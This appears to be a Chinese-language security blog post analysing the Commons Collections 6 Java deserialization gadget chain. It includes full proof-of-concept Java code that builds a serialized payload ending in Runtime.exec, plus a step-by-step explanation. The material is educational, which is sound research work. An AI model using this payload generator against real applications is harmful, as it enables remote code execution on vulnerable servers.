Java反序列化-Commons Collections6利用链分析

Java反序列化-Commons Collections6利用链分析

Gadget Chain

java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

与Commons Collections1链相比,从调用到LazyMap.get(),可以看出后半部分是一样的,主要是前半部分做了修改,与URLDNS那条链类似


POC

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test6 {

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
// Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Map<Object, Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize();
}
//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}


利用链分析

我们直接从LazyMap.get开始走,看看谁调用了get方法,原作者是找到了这个TideMapEntry的getValue方法,传入的是一个key,map则是LazyMap

这里的map和key,是通过构造方法传入的,所以我们这里要传入一个map和一个key


TiedMapEntry下方有个hashCode调用到了getValue()

之后找到HashMap的hash调用的key.hashCode(),这里的key是需要传入TiedMap

最后readObject调用到了hash完成了这条链,这里key要传入TiedMapEntry这样后面才能走到这个类上


最后为什么我们要修改掉LazyMap.decorate的参数呢?

这是因为put方法也会执行hash方法

所以最后我们只好通过反射先让条件不触发,随便传一个Transformer,等put结束后,再把值改

这是因为在序列化的时候走到get方法,判断为false就会走进了map.put上,将map的键值给修改了,在反序列化的时候就会影响到后面,正常情况我们是调用到transform就走上我们的链了,所以这里多出key,我们就可以将put的key删除即可

上一篇

Java反序列化-Commons Collections3利用链分析